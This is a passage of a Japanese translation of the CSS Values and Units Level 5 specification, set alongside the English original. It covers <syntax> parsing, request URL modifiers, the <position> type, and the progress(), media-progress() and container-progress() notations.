`syntax-multiplier$t の直前
◎
nor is whitespace allowed to precede a &lt;syntax-multiplier&gt;.
</li>
</ul>

<p class="note">注記：
`空白$に対する制約は、
`&lt;transform-list&gt;^v にも適用される。
◎
Note: The whitespace restrictions also apply to &lt;transform-list&gt;.
</p>

<p>
`syntax-string$t 値は、
`syntax$t 【を成す `syntax-string$t 以外？】の`文法に則って構文解析-$した結果が `失敗^i にならない `string$t であり，当の `syntax$t と同じ値【構文？】を表現する。
◎
A &lt;syntax-string&gt; is a &lt;string&gt; whose value successfully parses as a &lt;syntax&gt;, and represents the same value as that &lt;syntax&gt; would.
</p>

<p class="note">注記：
`syntax-string$t は、
ほぼ歴史的な目的で存在する
— `syntax$t が定義される前は、
`property$at 規則が，この目的に `string$t を利用していた。
◎
Note: &lt;syntax-string&gt; mostly exists for historical purposes; before &lt;syntax&gt; was defined, the @property rule used a &lt;string&gt; for this purpose.
</p>

			<section id="parse-syntax">
<h4 title="Parsing as &lt;syntax&gt;">3.3.1. `syntax$t としての構文解析-法</h4>

<p>
`syntax$t の目的は、
通例的には，別の値を構文解析する方法を指定することにある
（ある`登録-済み~custom~prop$の値や `attr$f が参照する属性の値など）。
しかしながら，汎用な［
何かを`文法に則って構文解析-$する~algo
］は、
未指定な内部~構造を返す
— 構文解析した結果は多義的になるかもしれず、
その場合，更に解きほぐすことが必要になるので。
◎
The purpose of a &lt;syntax&gt; is usually to specify how to parse another value (such as the value of a registered custom property, or an attribute value in attr()). However, the generic parse something according to a CSS grammar algorithm returns an unspecified internal structure, since parse results might be ambiguous and need further massaging.
</p>

<p>
これらの課題を避けて，きちんと定義された結果を取得するため、
`構文~値で構文解析する$~algoが利用される：
◎
To avoid these issues and get a well-defined result, use parse with a ＊:
</p>

<div class="algo">
<p>
`構文~値で構文解析する@
~algoは、
所与の
( `文字列$ ／ ［
~token／`成分~値$
］たちが成す`~list$
］ %値~群,
`syntax$t 値 %構文,
文脈~用の要素 %要素 （省略時は ε ） )
に対し，［
~CSS値たちが成す`~list$／ ε（`無効が保証される値$を表現する）
］を返す：
◎
To parse with a &lt;syntax&gt; given a string or list or component values values, a &lt;syntax&gt; value syntax, and optionally an element el for context, perform the following steps. It returns either CSS values, or the guaranteed-invalid value.
</p>
<ol>
	<li>
%値~群 ~LET`成分~値~listを構文解析する$( %値~群 )
◎
Parse a list of component values from values, and let raw parse be the result.
</li>
	<li>
~IF［
%要素 ~NEQ ε
］
⇒
%値~群 ~SET %値~群 内の`任意-代入~関数たちへ代入する$
◎
If el was given, substitute arbitrary substitution functions in raw parse, and set raw parse to that result.
</li>
	<li>
%分岐~群 ~LET %構文 に応じて
⇒＃
`*^v ならば « <code class="prod">`declaration-value$t?</code> が表現する構文 » ／
~ELSE_ %構文 を成す `syntax-component$t たちが成す指定された順の`~list$
◎
↓</li>
	<li>
%構文解析-結果 ~LET `失敗^i
◎
↓</li>
	<li>
<p>
%分岐~群 を成す
~EACH( %分岐 )
に対し：
</p>
		<ol>
			<li>
~Assert：
何かを %分岐 の`文法に則って構文解析-$した結果は一義的に定義される
</li>
			<li>
%構文解析-結果 ~LET %値~群 を %分岐 の`文法に則って構文解析-$する
</li>
			<li>
~IF［
%構文解析-結果 ~NEQ `失敗^i
］
⇒
~BREAK
</li>
		</ol>
◎
parse values according to syntax, with a * value treated as &lt;declaration-value&gt;?, and let parsed result be the result. If syntax used a | combinator, let parsed result be the parse result from the first matching clause.
</li>
	<li>
~IF［
%構文解析-結果 ~EQ `失敗^i
］
⇒
~RET ε
◎
If parsed result is failure, return the guaranteed-invalid value.
</li>
	<li>
~RET %構文解析-結果
◎
↑ Assert: parsed result is now a well-defined list of one or more CSS values, since each branch of a &lt;syntax&gt; defines an unambiguous parse result (or the * syntax is unambiguous on its own).
◎
Return parsed result.
</li>
</ol>
</div>

<p class="note">注記：
この~algoは、［
構文解析された値を`算出d値$の中へ解決する
］ことはない
— 当の値を利用した文脈は、
通例的に，それをすでに行うことになるので【？】
— そうでない場合、
呼出している~algoは，それを自前で取扱う必要があることになる。
◎
Note: This algorithm does not resolved the parsed values into computed values; the context in which the value is used will usually do that already, but if not, the invoking algorithm will need to handle that on its own.
</p>

			</section>
		</section>
	</section>
	<section id="level-4-extensions">
<h2 title="Extensions to Level 4 Value Types">4. ~level 4 の値~型に対する拡張</h2>

<p>
`~level 4$ を見よ。
◎
See CSS Values and Units Level 4.
</p>

		<section id="urls">
<h3 title="Resource Locators: the &lt;url&gt; type">4.1. 資源の所在指定子： `url$t 型</h3>

<p>
`~level 4$ の `§ 資源の所在指定子＠~CSSVAL#urls$
を見よ。
◎
See CSS Values 4 § 4.5 Resource Locators: the &lt;url&gt; type.
</p>

			<section id="request-url-modifiers">
<h4 title="Request URL Modifiers">4.1.1. 要請~URL改変子</h4>

<p>
`request-url-modifier@t
【 “要請~URL改変子” 】は、
`url-modifier$t を表現する
— それは、
自身に結付けられた`~URLの要請~改変子~用の手続き$を適用することにより，
`url$t への資源`要請$に影響する。
`~level 4$ の `§ ~URL処理~model＠~CSSVAL#url-processing$
を見よ。
◎
&lt;request-url-modifier&gt;s are &lt;url-modifier&gt;s that affect the &lt;url&gt;’s resource request by applying associated URL request modifier steps. See CSS Values 4 § 4.5.4 URL Processing Model.
</p>

<p>
この仕様は、
次に挙げる `request-url-modifier$t を定義する：
◎
This specification defines the following &lt;request-url-modifier&gt;s:
</p>

<div>
<pre class="prod">
`request-url-modifier$t
    = `crossorigin-modifier$t
	| `integrity-modifier$t
	| `referrerpolicy-modifier$t
</pre>
◎
&lt;request-url-modifier&gt; = &lt;crossorigin-modifier&gt; | &lt;integrity-modifier&gt; | &lt;referrerpolicy-modifier&gt;
↓↓ &lt;crossorigin-modifier&gt; = crossorigin(anonymous | use-credentials)
↓↓ &lt;integrity-modifier&gt; = integrity(&lt;string&gt;)
↓↓ &lt;referrerpolicy-modifier&gt; = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
</div>

<dl>
	<dt>
<pre class="prod">
`crossorigin-modifier@t
	= `crossorigin@v(`anonymous@v | `use-credentials@v)
</pre>
	</dt>
	<dd class="algo">
<p>
この改変子~用の`~URLの要請~改変子~用の手続き$は、
所与の
( `要請$ %要請 )
に対し：
◎
The URL request modifier steps for this modifier given request req are:
</p>
		<ol>
			<li>
`要請$の`~mode$rq ~SET `cors^l
◎
Set request’s mode to "cors".
</li>
			<li>
~IF［
引数に与えられた値 ~EQ `use-credentials$v
］
⇒
`要請$の`資格証~mode$rq ~SET `include^l
◎
If the given value is use-credentials, set request’s credentials mode to "include".
</li>
		</ol>
	</dd>

	<dt>
<pre class="prod">
`integrity-modifier@t
	= `integrity@v(`string$t)
</pre>
	</dt>
	<dd class="algo">
この改変子~用の`~URLの要請~改変子~用の手続き$は、
所与の
( `要請$ %要請 )
に対し
⇒
%要請 の`完全性~metadata$rq ~SET 引数に与えられた `string$t
◎
The URL request modifier steps for this modifier given request req are to set request’s integrity metadata to the given &lt;string&gt;.
</dd>

	<dt>
<pre class="prod">
`referrerpolicy-modifier@t
	= `referrerpolicy@v(
		`no-referrer@v
		| `no-referrer-when-downgrade@v
		| `same-origin@v
		| `origin@v
		| `strict-origin@v
		| `origin-when-cross-origin@v
		| `strict-origin-when-cross-origin@v
		| `unsafe-url@v )
</pre>
	</dt>

	<dd class="algo">
この改変子~用の`~URLの要請~改変子~用の手続き$は、
所与の
( `要請$ %要請 )
に対し
⇒
%要請 の`~referrer施策$rq ~SET 引数に与えられた値に合致する `ReferrerPolicy$I 値
◎
The URL request modifier steps for this modifier given request req are to set request’s referrer policy to the ReferrerPolicy that matches the given value.
</dd>
</dl>

<div class="algo">
<p>
`~URL値からの要請~改変子を適用する@
~algoは、
所与の
( `要請$ %要請, `url$t %~URL )
に対し
⇒
%~URL 内に指定された
~EACH( `request-url-modifier$t %改変子 )
に対し
⇒
%改変子 用の`~URLの要請~改変子~用の手続き$( %要請 )
◎
To apply request modifiers from URL value given a request req and a &lt;url&gt; url, call the URL request modifier steps for url’s &lt;request-url-modifier&gt;s in sequence given req.
</p>
</div>

			</section>
		</section>
		<section id="position">
<h3 title="2D Positioning: the &lt;position&gt; type">4.2. 二次元な位置決め： `position^t 型</h3>

<p>
`position@t
値は、
`整列~容器$（例：`背景~位置決め区画$）の内側における`整列~subject$（例：背景~画像）の位置を［
指定された 2 辺 （既定では左端と上端）に対する~offset
］が成す~pairとして指定する。
その構文は：
◎
The &lt;position&gt; value specifies the position of an alignment subject (e.g. a background image) inside an alignment container (e.g. its background positioning area) as a pair of offsets between the specified edges (defaulting to the left and top). Its syntax is:
</p>

<pre class="prod">
`position$t
	= `position-one$t
	| `position-two$t
	| `position-four$t
`position-one@t
	= left
	| center
	| right
	| top
	| bottom
	| x-start
	| x-end
	| y-start
	| y-end
	| block-start
	| block-end
	| inline-start
	| inline-end
	| `length-percentage$t
`position-two@t
	= [ left | center | right | x-start | x-end ] &amp;&amp;
	  [ top | center | bottom | y-start | y-end ]
	| [ left | center | right | x-start | x-end | `length-percentage$t ]
	  [ top | center | bottom | y-start | y-end | `length-percentage$t ]
	| [ block-start | center | block-end ] &amp;&amp;
	  [ inline-start | center | inline-end ]
	| [ start | center | end ]{2}
`position-four@t
	= [ [ left | right | x-start | x-end ] `length-percentage$t ] &amp;&amp;
	  [ [ top | bottom | y-start | y-end ] `length-percentage$t ]
	| [ [ block-start | block-end ] `length-percentage$t ] &amp;&amp;
	  [ [ inline-start | inline-end ] `length-percentage$t ]
	| [ [ start | end ] `length-percentage$t ]{2}
</pre>

<p>
指定された成分~値の個数に応じて：
◎
↓</p>

<ul class="switch">
	<li>
1 個（ `position-one$t ）
⇒
2 個目の値は `center$vP であると見做される。
◎
If only one value is specified (&lt;position-one&gt;), the second value is assumed to be center.
</li>
	<li>
<p>
2 個（ `position-two$t ）：
◎
If two values are given (&lt;position-two&gt;),＼
</p>
		<ul>
			<li>
`length-percentage$t は、［
1 個目／ 2 個目
］の値としては［
横／縦
］位置を`整列~容器$の［
左端／上端
］辺から`整列~subject$の［
左端／上端
］辺までの~offsetとして表現する。
◎
a &lt;length-percentage&gt; as the first value represents the horizontal position as the offset between the left edges of the alignment subject and alignment container,＼
and a &lt;length-percentage&gt; as the second value represents the vertical position as an offset between their top edges.
</li>
			<li>
どちらの~keywordも［
`start^v ／ `end^v
］である場合、
順に，［
`塊-軸$, `行内-軸$
］を表現する。
◎
If both keywords are one of start or end, the first one represents the block axis and the second the inline axis.
</li>
		</ul>

<p class="note">注記：
軸に特有な 2 個の~keywordが成す~pairは，並替えれる一方、
~keywordと［
長さ／百分率
］の組合nは，そうでない。
なので、
`center left^v や `inline-start block-end^v は妥当であるが，
`50% left^v は妥当でない。
［
`start^v, `end^v
］は軸に特有でないので、［
`start end^v, `end start^v
］は異なる位置を表現する。
◎
Note: A pair of axis-specific keywords can be reordered, while a combination of keyword and length or percentage cannot. So center left or inline-start block-end is valid, while 50% left is not. start and end aren’t axis-specific, so start end and end start represent two different positions.
</p>
	</li>
	<li>
4 個（ `position-four$t ）
⇒
各 `length-percentage$t は、
その直前にある~keywordにより指定される辺に対する~offsetを表現する。
例えば【！background-position:】 `bottom 10px right 20px^v は、
【`整列~容器$の】［
下端~辺から上への縦~offset `10px^v,
右端~辺から左への横~offset `20px^v
］を表現する。
◎
If four values are given (&lt;position-four&gt;) then each &lt;length-percentage&gt; represents an offset between the edges specified by the preceding keyword. For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edge and a 20px horizontal offset leftward from the right edge.
</li>
</ul>

<p>
いずれも、［
正な値／負な値
］は，`整列~容器$の辺から［
`内方^em／`外方^em
］への~offsetを表現する。
◎
Positive values represent an offset inward from the edge of the alignment container. Negative values represent an offset outward from the edge of the alignment container.
</p>

<div class="example">
<p>
次に挙げる宣言は、
左上~隅からの【！the stated】［
横, 縦
］~offsetを与える：
◎
The following declarations give the stated (horizontal, vertical) offsets from the top left corner:
</p>

<pre class="lang-css">
background-position: left 10px top 15px;   /* 10px, 15px */
background-position: left      top     ;   /*  0px,  0px */
background-position:      10px     15px;   /* 10px, 15px */
background-position: left          15px;   /*  0px, 15px */
background-position:      10px top     ;   /* 10px,  0px */
</pre>
</div>

<div class="example">
<p>
`position$t は、
左上でない隅からも相対的にし得る。
例えば，次は、
背景~画像【の右下~隅】を［
右端から `3em^v, 下端から `10px^v
］の所に置く：
◎
&lt;position&gt;s can also be relative to other corners than the top left. For example, the following puts the background image 10px from the bottom and 3em from the right:
</p>

<pre class="lang-css">
background-position: right 3em bottom 10px
</pre>
</div>

<p>
`position$t の`算出d値$は、
( 横~offset, 縦~offset )
が成す~pair
— 各~offsetは、
算出d `length-percentage$t 値【`算出d長さ$？】 —
になる。
この［
横~offset／縦~offset
］は、
`整列~容器$の［
左端~辺／上端~辺
］から`整列~subject$の［
左端~辺／上端~辺
］までの距離を表現する。
◎
The computed value of a &lt;position&gt; is a pair of offsets (horizontal and vertical), each given as a computed &lt;length-percentage&gt; value, representing the distance between the left edges and top edges (respectively) of the alignment subject and alignment container.
</p>

<dl>
	<dt id="valdef-position-length-percentage">`length-percentage$t</dt>
	<dd>
<p>
`length-percentage$t 値は、
`整列~容器$から`整列~subject$までの指定された辺に関する~offset【！の~size】を指定する。
◎
A &lt;length-percentage&gt; value specifies the size of the offset between the specified edges of the alignment subject and alignment container.
</p>

<div class="example">
<p>
例えば `background-position: 2cm 1cm$p は、
背景~画像の左上~隅を`背景~位置決め区画$の左上~隅から［
右へ `2cm^v, 下へ `1cm^v
］の所に配置する。
◎
For example, for background-position: 2cm 1cm, the top left corner of the background image is placed 2cm to the right and 1cm below the top left corner of the background positioning area.
</p>
</div>

	</dd>
	<dd>
<p>
［
横~offset／縦~offset
］用の `percentage$t は、
`整列~容器$の［
横幅／縦幅
］から`整列~subject$の［
横幅／縦幅
］を減算した結果に相対的になる。
◎
A &lt;percentage&gt; for the horizontal offset is relative to (width of alignment container - width of alignment subject). A &lt;percentage&gt; for the vertical offset is relative to (height of alignment container - height of alignment subject).
</p>

<div class="example">
<p>
例えば：
値~pair `0% 0%^v に対しては、
`整列~subject$の左上~隅が，`整列~容器$の左上~隅に整列される。
値~pair `100% 100%^v に対しては、
`整列~subject$の右下~隅が，`整列~容器$の右下~隅に整列される。
値~pair `75% 50%^v に対しては、
`整列~subject$の左上~隅から［
75% 右, 50% 下
］を指す地点が，`整列~容器$の左上~隅から［
75% 右, 50% 下
］を指す地点に整列するよう配置される
（下図）。
◎
For example, with a value pair of 0% 0%, the upper left corner of the alignment subject is aligned with the upper left corner of the alignment container A value pair of 100% 100% places the lower right corner of the alignment subject in the lower right corner of the alignment container. With a value pair of 75% 50%, the point 75% across and 50% down the alignment subject is to be placed at the point 75% across and 50% down the alignment container.
</p>

<figure>
<p class="alt" hidden="" id="_dgm-bg-pos">
要素~内の画像~位置を示す図式
◎
Diagram of image position within element
</p>

<figcaption>
`background-position:75% 50%^p の意味を表す図式。
◎
Diagram of the meaning of background-position: 75% 50%.
</figcaption></figure>

</div>
	</dd>

	<dt>`top@vP</dt>
	<dt>`right@vP</dt>
	<dt>`bottom@vP</dt>
	<dt>`left@vP</dt>
	<dd>
対応する軸において，
`整列~subject$の［
上端／左端／右端／下端
］辺（同順）を`整列~容器$の辺から指定された量（既定では `0%^v ）で~offsetする。
◎
Offsets the top/left/right/bottom edges (respectively) of the alignment subject and alignment container by the specified amount (defaulting to 0%) in the corresponding axis.
</dd>

	<dt>`y-start@vP</dt>
	<dt>`y-end@vP</dt>
	<dt>`x-start@vP</dt>
	<dt>`x-end@vP</dt>
	<dd>
順に，［
`縦~軸$における`始端$ ／
`縦~軸$における`終端$ ／
`横~軸$における`始端$ ／
`横~軸$における`終端$
］側に対応する物理-辺~keywordと同じに算出される。
◎
Computes the same as the physical edge keyword corresponding to the start/end side in the y/x axis.
</dd>

	<dt>`block-start@vP</dt>
	<dt>`block-end@vP</dt>
	<dt>`inline-start@vP</dt>
	<dt>`inline-end@vP</dt>
	<dd>
順に，［
`塊-軸$における`始端$ ／
`塊-軸$における`終端$ ／
`行内-軸$における`始端$ ／
`行内-軸$における`終端$
］側に対応する物理-辺~keywordと同じに算出される。
◎
Computes the same as the physical edge keyword corresponding to the start/end side in the block/inline axis.
</dd>

	<dt>`center@vP</dt>
	<dd>
対応する軸における~offset `50%^v に算出される。
◎
Computes to a 50% offset in the corresponding axis.
</dd>
</dl>

<p>
他が指定されない限り、
`~flow相対$な~keyword【が どの物理-辺~keywordに対応するか】は，それが指定された要素の`書字~mode$に則って解決される。
◎
Unless otherwise specified, the flow-relative keywords are resolved according to the writing mode of the element on which the value is specified.
</p>

<p class="note">注記：
`background-position$p ~propは，成分~値 3 個の構文も受容するが、
汎用~的には許容されない
— ~prop値~内で他の［
長さ／百分率
］成分と組合されたとき，構文解析-時に多義性をもたらすので。
◎
Note: The background-position property also accepts a three-value syntax. This has been disallowed generically because it creates parsing ambiguities when combined with other length or percentage components in a property value.
</p>


<p class="issue">
この構文が［
`background-position$p において，その`下位prop$たちへどう展開されるか
］を定義する必要がある
— 例えば、
ある成分に `var$f が利用された場合に。
[`9690$issue]
◎
Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690]
</p>

			<section id="position-parsing">
<h4 title="Parsing &lt;position&gt;">4.2.1. `position^t の構文解析-法</h4>

<p>
文法~内で他の［
~keyword ／ `length$t ／ `percentage$t
］と並べて指定された `position$t は、
`貪欲に^em構文解析され，アリな限り多くの成分を消費する。
◎
When specified in a grammar alongside other keywords, &lt;length&gt;s, or &lt;percentage&gt;s, &lt;position&gt; is greedily parsed; it consumes as many components as possible.
</p>

<div class="example">
<p>
例えば `transform-origin$p は、
三次元な位置を
（実質的に）
<span class="prod">`position$t `length$t?</span>
として定義する。
`left 50px^v などの値は，［
z 成分が省略された，2 個の成分からなる `position$t 値
］として構文解析される一方、
`top 50px^v などの値は，［
1 個の成分からなる `position$t 値,
`length$t 値
］が成す並びとして構文解析されることになる。
◎
For example, transform-origin defines a 3D position as (effectively) &lt;position&gt; &lt;length&gt;?. A value such as left 50px will be parsed as a 2-value &lt;position&gt;, with an omitted z-component; on the other hand, a value such as top 50px will be parsed as a single-value &lt;position&gt; followed by a &lt;length&gt;.
</p>
</div>

			</section>
			<section id="position-serialization">
<h4 title="Serializing &lt;position&gt;">4.2.2. `position^t の直列化-法</h4>

<p>
`position$t の`指定d値$を直列化するときは、
指定された成分の個数に応じて：
◎
When serializing the specified value of a &lt;position&gt;:
</p>

<ul class="switch">
	<li>
1 個（ `position-one$t ）
⇒
暗黙な~keyword `center$vP を追加した上で，
2 個の場合に従う。
◎
If only one component is specified:
• The implied center keyword is added, and a 2-component value is serialized.
</li>
	<li>
<p>
2 個（ `position-two$t ）：
◎
If two components are specified:
</p>
		<ul>
			<li>
各~keywordは、
そのまま~keywordとして直列化する。
◎
Keywords are serialized as keywords.
</li>
			<li>
各 `length-percentage$t は、
`length-percentage$t として直列化する。
◎
&lt;length-percentage&gt;s are serialized as &lt;length-percentage&gt;s.
</li>
			<li>
これらは、［
横~成分, 縦~成分
］の順に直列化する。
◎
Components are serialized horizontal first, then vertical.
</li>
		</ul>
	</li>
	<li>
<p>
4 個（ `position-four$t ）：
◎
If four components are specified:
</p>
		<ul>
			<li>
各［
~keyword, ~offset
］は、
どちらも直列化する。
◎
Keywords and offsets are both serialized.
</li>
			<li>
<p>
これらは、［
横~成分, 縦~成分
］の順に, あるいは［
`塊-軸$, `行内-軸$
］の順に直列化する。
◎
Components are serialized horizontal first, then vertical; alternatively block-axis first, then inline-axis.
</p>

<p class="trans-note">【
後者の順に直列化されるのは、［
`block-^v ／ `inline-^v
］が接頭された~keywordが利用された場合に限られると思われる
（ 2 個の場合も同様になるべき？）。
】</p>
			</li>
		</ul>
	</li>
</ul>

<p class="note">注記：
`position$t 値が 1 個の成分からなる値として直列化されることは、
決してない
— そのような値が同じ挙動を生産するときでも。
これは、
`position$t が `length$t の隣に配置される一部の文法
— `transform-origin$p など —
において，構文解析の多義性が生じるのを避けるためである。
◎
Note: &lt;position&gt; values are never serialized as a single value, even when a single value would produce the same behavior, to avoid causing parsing ambiguities in some grammars where a &lt;position&gt; is placed next to a &lt;length&gt;, such as transform-origin.
</p>

<p>
`position$t の`算出d値$は、［
左端, 上端
］辺からの~offsetを［
同じ順序で表現する 2 個の`length-percentage$t が成す~pair
］として直列化される。
◎
The computed value of a &lt;position&gt; is serialized as a pair of &lt;length-percentage&gt;s representing offsets from the left and top edges, in that order.
</p>

			</section>
			<section id="combine-positions">
<h4 title="Combination of &lt;position&gt;">4.2.3. `position^t の結合n</h4>

<p>
`position$t の`補間$は、
値を成す［
x, y
］成分ごとに独立に，［
左上~隅からの~offsetに正規化された `length-percentage$t
］として`補間-$するものとして定義される。
◎
Interpolation of &lt;position&gt; is defined as the independent interpolation of each component (x, y) normalized as an offset from the top left corner as a &lt;length-percentage&gt;.
</p>

<p>
同様に， `position$t の`加算$は、
値を成す［
x, y
］成分ごとに独立に，［
左上~隅からの~offsetに正規化された `length-percentage$t
］として`加算-$するものとして定義される。
◎
Addition of &lt;position&gt; is likewise defined as the independent addition each component (x, y) normalized as an offset from the top left corner as a &lt;length-percentage&gt;.
</p>

			</section>
		</section>
	</section>
	<section id="progress">
<h2 title="Interpolation Progress Functional Notations">5. 補間~進捗-関数-記法</h2>

<p class="issue">
この節は、
探求段階な草案であり，まだ~CSS~WGにより認可されてない。
`6245$issue
◎
This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245]
</p>

<p>
`関数-記法$［
`progress$f ／ `media-progress$f ／ `container-progress$f
］は、［
`~math関数$／`媒体~特能$／`容器~特能$
］から進捗~率を取り出すことを許容する。
いずれも、
所与の［
`進捗~値@,
`進捗~始端~値@,
`進捗~終端~値@
］に対し［
`進捗~始端~値$からの，
`進捗~終端~値$までの距離に対する`進捗~値$までの距離の~~割合
］を表現し，次の共通な構文-~patternに従う：
◎
The progress(), media-progress(), and container-progress() functional notations represent the proportional distance of a given value (the progress value) from one value (the progress start value) to another value (the progress end value). They allow drawing a progress ratio from math functions, media features, and container features, respectively, following a common syntactic pattern:
</p>

<pre class="prod">
%進捗~関数()
	= %進捗~関数( %進捗-値, %始端~値, %終端~値 )
</pre>

<p>
その結果は `number$t であり、
`進捗~関数を計算する$ことにより解決される。
◎
Each resolves to a &lt;number&gt; by calculating a progress function.
</p>

<div class="algo">
<p>
`進捗~関数を計算する@
~algoは、
所与の
( `進捗~値$ %値, `進捗~始端~値$ %始端~値, `進捗~終端~値$ %終端~値 )
に対し：
◎
To calculate a progress function, given a progress value, progress start value, and progress end value:
</p>
<ol>
	<li>
~IF［
%始端~値 ~NEQ %終端~値
］
⇒
~RET ( %値 ~MINUS %始端~値 ) ~DIV ( %終端~値 ~MINUS %始端~値 )
◎
If the progress start value and progress end value are different values
• (progress value - progress start value) / (progress end value - progress start value).
</li>
	<li>
~RET %値 に応じて
⇒＃
%値 ~LT %始端~値 ならば −∞ ／
%値 ~GT %始端~値 ならば +∞ ／
%値 ~EQ %始端~値 ならば 0
◎
If the progress start value and progress end value are the same value
• 0, -∞, or +∞, depending on whether progress value is equal to, less than, or greater than the shared value.
</li>
</ol>

<p class="note">注記：
返り値は素な `number$t であり、
既定では，結果の`型を入力と一貫させる$ことはない。
◎
Note: The return value is a plain &lt;number&gt;, not made consistent with its arguments by default.
</p>
</div>

<p>
結果の型は `number$t なので、
他の計算式
— `~math関数$や`混合-記法$など —
の中への入力を成し得る。
◎
The resulting number can then be input into other calculations, such as a math function or a mix notation.
</p>

		<section id="progress-func">
<h3 title="Calculated Progress Values: the progress() notation">5.1. 計算された進捗-値： `progress^f 記法</h3>

<p>
`progress@f
`関数-記法$は、
次を表現している `number$t 値を返す
⇒
入力を成す 2 個の`計算式$ %計算式たち
（`進捗~始端~値$, `進捗~終端~値$）
の合間における`計算式$（`進捗~値$）の位置
◎
The progress() functional notation returns a &lt;number&gt; value representing the position of one calculation (the progress value) between two other calculations (the progress start value and progress end value).＼
</p>

<p>
`progress$f は`~math関数$である。
◎
progress() is a math function.
</p>

<p>
`progress$f の構文は：
◎
The syntax of progress() is defined as follows:
</p>

<pre class="prod">
`progress()@t
	= progress(`calc-sum$t, `calc-sum$t, `calc-sum$t)
</pre>

<p>
各 `calc-sum$t 値は、
順に［
`進捗~値$,
`進捗~始端~値$,
`進捗~終端~値$
］を表現する。
◎
where the first, second, and third &lt;calc-sum&gt; values represent the progress value, progress start value, and progress end value, respectively.
</p>

<p>
%計算式たち を成す各~計算式は、［
`number$t, `dimension$t, `percentage$t
］いずれにも解決され得るが，
%計算式たち は`一貫した型を有して$いなければナラナイ
— さもなければ、
当の関数は無効になる。
◎
The argument calculations can resolve to any &lt;number&gt;, &lt;dimension&gt;, or &lt;percentage&gt;, but must have a consistent type or else the function is invalid.
</p>

<p>
`progress$f の値は、
数量-値としては`進捗~関数を計算する$ことにより決定される `number$t になり，
その`型$は次の結果になる
⇒
`型を入力と一貫させる$( `型を作成する$( `number^l ) , %計算式たち の`一貫した型$ )
◎
The value of progress() is a &lt;number&gt;, determined by calculating a progress function, then made consistent with the consistent type of its arguments.
</p>

<p class="issue">
`percent-progress^f 記法は必要か？
あるいは、
必要yでないほど十分な箇所で【百分率から】自動-変換されているのか？
◎
Do we need a percent-progress() notation, or do enough places auto-convert that it’s not necessary?
</p>

<p class="note">注記：
`progress$f 関数は、
本質的には `calc$f 記法が成す特定0の~pattern用の構文-糖衣なので，`~math関数$である。
◎
Note: The progress() function is essentially syntactic sugar for a particular pattern of calc() notations, so it’s a math function.
</p>

		</section>
		<section id="media-progress-func">
<h3 title="Media Query Progress Values: the media-progress() notation">5.2. 媒体~query進捗-値： `media-progress^f 記法</h3>

<p>
`media-progress@f
`関数-記法$は、
`progress$f 記法と類似に，［
指定された`媒体~query$ `MEDIAQUERIES-4$r の現在の値【`実~値$】
］を［
当の`媒体~query$用の 2 個の明示的な値
（`進捗~始端~値$, `進捗~終端~値$）
の合間における`進捗~値$
］として表現している `number$t 値 を返す。
◎
Similar to the progress() notation, the media-progress() functional notation returns a &lt;number&gt; value representing current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value).
</p>

<p>
`media-progress$f の構文は：
◎
The syntax of media-progress() is defined as follows:
</p>

<pre class="prod">
`media-progress()@t
	= media-progress(`mf-name$t, `calc-sum$t, `calc-sum$t)
</pre>

<div>
<p>
各~引数は：
</p>
<ul>
	<li>
`mf-name$t は、
ある`媒体~特能$ %特能 を指定する
— %特能 の値【`実~値$】が，`進捗~値$を表現する。
</li>
	<li>
2 個の`計算式$ `calc-sum$t の値［
%始端~値, %終端~値
］は、
順に［
`進捗~始端~値$, `進捗~終端~値$
］を表現する。
</li>
</ul>
◎
where＼
the value of the media feature corresponding to &lt;mf-name&gt; represents the progress value,＼
◎
and the two &lt;calc-sum&gt; values represent the progress start value and progress end value, respectively.
</div>

<div>
<p>
これらの引数は、
~AND↓ を満たさなければナラナイ
— さもなければ、
当の関数は無効になる：
</p>
<ul>
	<li>
`mf-name$t は、
妥当な`範囲~型$【！“range” type】の`媒体~特能$を識別している
</li>
	<li>
［
%始端~値, %終端~値
］は、
%特能 用の妥当な値を指定している
</li>
	<li>
« %始端~値, %終端~値 » は、
`一貫した型を有して$いる
</li>
</ul>
◎
The specified media feature must be a valid “range” type feature,＼
the specified progress start value and progress end value must be valid values for the specified media query,＼
and both calculation values must have a consistent type,＼
or else the function is invalid.
</div>

<p>
［
%始端~値, %終端~値
］における単位は、
%特能 に指定されたとおりに解釈される
（当の関数を利用している文脈により指定されたとおりではなく）。
◎
The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in).
</p>

<p>
`media-progress$f の値は、
`進捗~関数を計算する$ことにより決定される `number$t になる。
◎
The value of media-progress() is a &lt;number&gt;, determined by calculating a progress function.
</p>

<p class="note">注記：
`media-progress$f は、
`number$t に評価される関数に過ぎず，`~math関数$`ではない^em。
◎
Note: media-progress() is not a math function; it’s just a function that evaluates to a &lt;number&gt;.
</p>

		</section>
		<section id="container-progress-func">
<h3 title="Container Query Progress Values: the container-progress() notation">5.3. 容器~query進捗-値： `container-progress^f 記法</h3>

<p>
`container-progress@f
`関数-記法$は、
`媒体~特能$に代えて`容器~特能$ `CSS-CONTAIN-3$r を受容することを除いて，
`media-progress$f 関数-記法と一致する。
◎
The container-progress() functional notation is identical to the media-progress() functional notation, except that it accepts container features [CSS-CONTAIN-3] in place of media features.
</p>

<p>
`container-progress$f の構文は：
◎
The syntax of container-progress() is defined as follows:
</p>

<pre class="prod">
`container-progress()@t
	= container-progress(`mf-name$t [ of `container-name$t ]?, `calc-sum$t, `calc-sum$t)
</pre>

<div>
<p>
各~引数は：
</p>
<ul>
	<li>
`mf-name$t は、
ある`~size特能$ %特能 を指定する
— %特能 の値が，`進捗~値$を与える。
</li>
	<li>
省略可能な `container-name$t は、
どの容器を~~基準に解決するか選定するときに考慮される有名~容器を指定する。
</li>
	<li>
2 個の`計算式$ `calc-sum$t の値［
%始端~値, %終端~値
］は、
順に［
`進捗~始端~値$, `進捗~終端~値$
］を表現する。
</li>
</ul>
◎
where &lt;mf-name&gt; represents a size feature＼
and the optional &lt;container-name&gt; component specifies the named containers to consider when selecting a container to resolve them against.＼
The value of the size feature is the progress value,＼
and the two &lt;calc-sum&gt; values represent the progress start value and progress end value, respectively.
</div>

<div>
<p>
これらの引数は、
~AND↓ を満たさなければナラナイ
— さもなければ、
当の関数は無効になる：
</p>
<ul>
	<li>
`mf-name$t は、
